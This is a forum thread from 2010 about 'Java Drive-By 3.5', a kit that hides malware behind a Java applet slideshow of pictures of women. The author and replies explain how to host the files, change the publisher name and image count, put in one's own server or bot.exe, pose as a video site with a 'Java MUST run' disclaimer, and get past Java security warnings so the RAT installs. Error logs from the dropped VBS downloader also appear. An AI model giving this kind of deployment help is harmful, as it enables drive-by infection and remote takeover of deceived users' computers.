Java Drive-By Version 3.5

Introduction

Java Drive-By 3.5 is just a patch for the other one 3.0. I have just put the source into the .java so the victim can't see the virus. I'm working on some of the errors and getting everything together for the next release. This is just a patch, nothing more. Please leave feedback for ideas and I will try and get it into the next release. Thank you.

Requirements

You will need the following programs/information before you can even start! Please read and download, thank you.

You will need [JDK](#) in order to compile files.

You will need free hosting that will allow .jar files.

You will need at least 20 - 30 pictures of an attractive women.

You will need the files that will be uploaded, located in the downloads section.

Setting Up JDK

Step 1 - Go to Start > Control Panel > System > Advanced tab > Environment Variables > System variables > Path > Edit.

Step 2 - Add a ; at the very end followed by C:\Program Files\Java\JDK VERSION\bin.

[img][http://i44.\[censored\].com/qrgriba.png](http://i44.[censored].com/qrgriba.png)[/img]

Step 3 - Done.

Downloads

Please using one of the following links to receive the files that will need to be uploaded to your hosting. Please make sure you delete all older versions of Java Drive-By! Only upload the .jar, .html, and pictures.

Quote:1. [MediaFire](#) (linkbuck\$)

2. [MegaUpload](#) (non-linkbuck\$)

Change Log

Version 3.5 -

No more view source.

Updated slideshow.

New website for Java Drive-By: <http://legit-source.com/>

Version 0.3 -

The victim now has to press "run" or no slideshow.

No more errors and improved slideshow features.

Java Drive-By.bat is now the main program for Java Drive-By.

Version 0.2 -

Added slideshow.

Made a proper .bat to compile to .jar.

Version 0.1 -

Nothing changed, nothing added, all original.

(Mar 29, 2010 11:02 PM)jhfire Wrote: [\[CITE\]](#) I'm a very tired little boy right now and need some sleep. I will complete this thread tomorrow. I have posted it on my blog though <http://legit-source.com/> ! Please post comments/feedback on what needs fixing. I have tried fixing the ActiveX, but no luck. I will try and get this bug out by the next release! Thank you and good night! SITE: <http://legit-source.com/>

Here's ,y feedback cz i cant comment there for some reason .

I like your ideas and i think its the best way to spread if you want i can help you maken a good web page that i can design. thank you for the files.

Be cool if you can design a site for me. I'll make sure to give credits. Thanks for the feedback, and the comments need to go through me before they are posted. Thanks again ?.

fubu1 - March 30, 2010, 3:32 pm

nice, couldnt you change the pictures to maybe a webcam picture and you see the webcam image before you click run? ive seen this on another java drive by but you had to pay for this version

Cloud9™ - March 30, 2010, 3:34 pm

(Mar 30, 2010 03:32 PM)fubu1 Wrote: [\[CITE\]](#) nice, couldnt you change the pictures to maybe a webcam picture and you see the webcam image before you click run? ive seen this on another java drive by but you had to pay for this version

Yep, I have this in the making right now. I'm just trying to get these damn errors out and I will release it ?.

-=C0d3ak=- - March 30, 2010, 5:45 pm

Can we choose how many pictures we can put into the slideshow? ex. i only want 3 pictures to be in the slide.jar

Also how do we choose what the thing says when it asks to run? The publisher part.

gaylechris - March 30, 2010, 6:11 pm

thanks for the share...will try it now... a video tut will b even better

Cloud9™ - March 30, 2010, 6:32 pm

You can add more through the .html file (<param name="1" value="0001.jpg">). You can change the publisher part through the .bat file (compile to .jar).

(Mar 30, 2010 06:11 PM)gaylechris Wrote: [\[CITE\]](#) thanks for the share...will try it now... a video tut will b even better

Sure, I'll have that soon.

Just make it look like a generic video hosting site and somewhere above the "slideshow" or whatever say: Disclamer! Java MUST run in order to view our videos/content.

Something like that

Cloud9™ - March 30, 2010, 9:37 pm

Make sure all the .class files are deleted and recompile using the smexy .bat file. Then upload all the files, besides the .bat files into your hosting.

Making it fully functional might be a little hard... Cause the person will think it's real, to real.

V3xD - April 1, 2010, 5:51 am

Code -----

Windows Script Host

Script: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\winconfig.vbs

Line: 16

Char: 1

Error: The URL does not use a recognized protocol

Code: 80072EE6

Source: WinHttp.WinHttpRequest

Not working, VBS isn't coded correctly i assume.

OK

Gino90 - April 1, 2010, 6:35 am

Nice work buddy, gotta try this out!

Could be a possible way to sign the jar file so it runs automatically without pressing the "run" button ?

vyrus - April 1, 2010, 6:56 am

how do I do this ? PLEASE someone help :(

xx3pleKiLLxx - April 1, 2010, 6:57 am

Hey man, whats with the file inside transport? These are new. What do i do with them?

V3xD - April 1, 2010, 8:19 am

READ THIS IF U HAVE ANY PROBLEMS

Since the coder doesn't want to describe how to use this... at all, i will.

The 2 .class files are DELETED when you compile the .java, this is because the coder has down syndrome and coded it wrong. You need to upload those to the web server (the .class files) within the same file structure otherwise there will be a Java error. JustSlides.jar, index, and the whole 'img' folder are what need to be uploaded to the web host, make sure that the .class files are included though. If they are not there, re-download and extract the tool. Edit the JustSlides.java with any text editor before compiling.

This tool is a nice POC, except that the VB script included with it does NOT work.. read my last post to see the error you will receive. There may be a problem though with it that the OP didn't post or didn't describe it correctly, again.

Anyways.. good luck script kiddies.

xx3pleKiLLxx - April 1, 2010, 8:22 am

Im having massive errors here. This is far the buggiest version he created.

YA NOW I GET TO FLAME LET THE FLAMING BEGIN!

I'm trying to make this simple as possible. I did say in the .bat you need to upload the img folder as well. I didn't set it up so that the .class are not deleted when compiled. However, they are deleted when you try compiling again. I also said this is a patch and is here only because my friend wanted the source inside the .java file, instead of the html. I did explain everything, it's just people hate reading a lot and I understand that. I'm sorry if I made it so hard on you to read and spread your virus. Hell, I should have just kept this private if I knew people were going to do this. I wont though, cause I'm nice and understand some of us like you are just losers that love to bash on others. I do respect the fact you're trying to get it through some people, but please understand they hate reading. You might not even read this huge paragraph and I'm okay with it because I'm so damn use to be dishd out. Thanks for the feedback ?.

halp

You DID NOT edit it. I've tested it myself both ways (with edit and without) and guess what?
You've just selfpwned yourself. And I'll care to explain why.

let's see this retarded example:

a.php

PHP Code

```
<?php
```

```
$url = gethostbyname("google.com");
```

```
if(fsockopen($url, 80, $errno, $errstr, 3)) {  
    echo "Connected.\r\n";  
} else {  
    die("Connection failed.\r\n");  
}
```

```
echo gethostbyname("google.com");
```

```
?>
```

output:

Code D:\PHP>php a.php

Content-type: text/html

X-Powered-By: PHP/4.3.10

Connected.

74.125.39.104

and then let's see THIS:

b.php

PHP Code

```
<?php
```

```
$fail = gethostbyname("YOUR VIRUS HERE");
```

```
if(fsockopen($fail, 80, $errno, $errstr, 3)) {  
    echo "Connected.\r\n";  
} else {  
    die("Connection failed.\r\n");  
}
```

```
echo gethostbyname("YOUR VIRUS HERE");
```

```
?>
```

output:

Code

Warning: fsockopen(): php_network_getaddresses: gethostbyname failed in

D:\PHP\b.php on line 5

Warning: fsockopen(): unable to connect to YOUR VIRUS HERE:80 in D:\P

HP\b.php on line 5

Connection failed.

P.S.

I'm sorry for spamming the thread, but when u see tards like V3xD, you all know what I mean.

def gonna look into this
thanx

mark121 - May 7, 2010, 7:29 pm

thanks freeman for the good post. please send me your email i need to talk to you on private program

davc - May 8, 2010, 9:16 am

can any tell me wher i need add mine bot.exe on file Java Drive-By Version 3.5 and then need anythink change on index?

nemkec - May 24, 2010, 3:39 pm

DIFFERENT Question :)

does possible for pics to be different sizes i wanna put few pictures thay are all different that will take time to resize em and few will look sux in that size :S
which line i should change?

heroin - May 26, 2010, 8:45 am

It's everyone getting this warning "block potentially unsafe components from being run" or its just me? thanks

SerialIFF - May 28, 2010, 1:26 pm

For me the slide works, but not the infection.

I upload : the 4photos of naked girl, slide.jar and index, i replace "link" by the link of my server on sendspace (<http://sendspace./.../nameserver.exe>)

I have a error on the website :

Windows Script Host

Script : C:\Users**\Appdata\Local\Temp\winconfig.vbs

Line : 12

Caract : 1

Error : "Indice en dehors de la place" (french sorry ^^')

Code : 800A0009

Source : Error of execution Microsoft VBScript

What can i Do ?

nemkec - May 29, 2010, 1:42 am

lol sendspace thats fail. woot do u thing java script gonna start ur server from send space? no not gonna happen

SerialFF - May 29, 2010, 3:53 am

So what can i use for avoid to be ban by fileave ?

(there is no delay for download on sendspace like when you upload on fileave)

heroin - June 3, 2010, 11:43 am

latest version if java pops up an alert window: block potentially unsafe components from being run...
if the person does not push no button, the rat will not be installed. any fix? thanks

nak15 - June 4, 2010, 9:45 am

I can make a photoshop webcam for you.
Thanks for slide.

SerialFF - June 4, 2010, 11:40 am

Yea that would be cool ;)
